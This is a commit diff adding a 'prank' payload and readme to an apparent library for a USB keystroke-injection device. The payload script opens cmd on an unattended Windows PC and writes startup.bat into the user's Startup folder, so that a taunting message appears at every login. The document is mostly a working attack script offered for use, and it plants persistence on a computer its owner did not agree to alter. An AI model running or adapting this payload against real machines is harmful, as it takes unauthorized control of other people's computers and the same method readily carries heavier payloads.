Added Startup-Message payload (#260)

payloads/library/prank/Startup-Message/payload.txt

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+#!/bin/bash
+#Title: Startup-Message
+#Author: By MikeeU
+#Target: Windows
+#Tested on: Windows 10
+#Version: 1.0
+
+#Setting up(Magenta)
+LED SETUP
+
+
+ATTACKMODE HID
+
+#Beginning HID Attack(Yellow)
+LED ATTACK
+
+#Running cmd to create file in startup directory
+RUN WIN cmd
+Q STRING "cd C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
+Q ENTER
+Q STRING "echo @echo off > startup.bat"
+Q ENTER
+Q STRING "echo echo I will lock my PC next time! >> startup.bat"
+Q ENTER
+Q STRING "echo pause >> startup.bat"
+Q ENTER
+Q ALT F4
+
+#Fast green followed by Solid -> Finished
+LED FINISH

payloads/library/prank/Startup-Message/readme.md

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+# Startup-Message
+by KMikeeU
+
+* Target: Windows
+* Tested on: Windows 10
+* Should work on: Windows XP, Vista, 7, 8(Desktop), 10
+* Version: 1.0
+
+## Description
+This little __HID__ Attack, will use cmd to create a file in the startup directory of the logged in user on the target PC. Which will display a message set by the attacker on logging in.
+
+## Configuration
+You can edit the script to change the name of the file and the text that will be displayed.
+Defaults: startup.bat; I will lock my PC next time!
+
+## Status
+| Status | Color | Description |
+|------|------|------|
+|SETUP|Magenta|Setting Attack mode|
+|ATTACK|Slow Yellow|Injecting keystrokes|
+|FINISH|Fast Green followed by solid|Payload has finished!|
+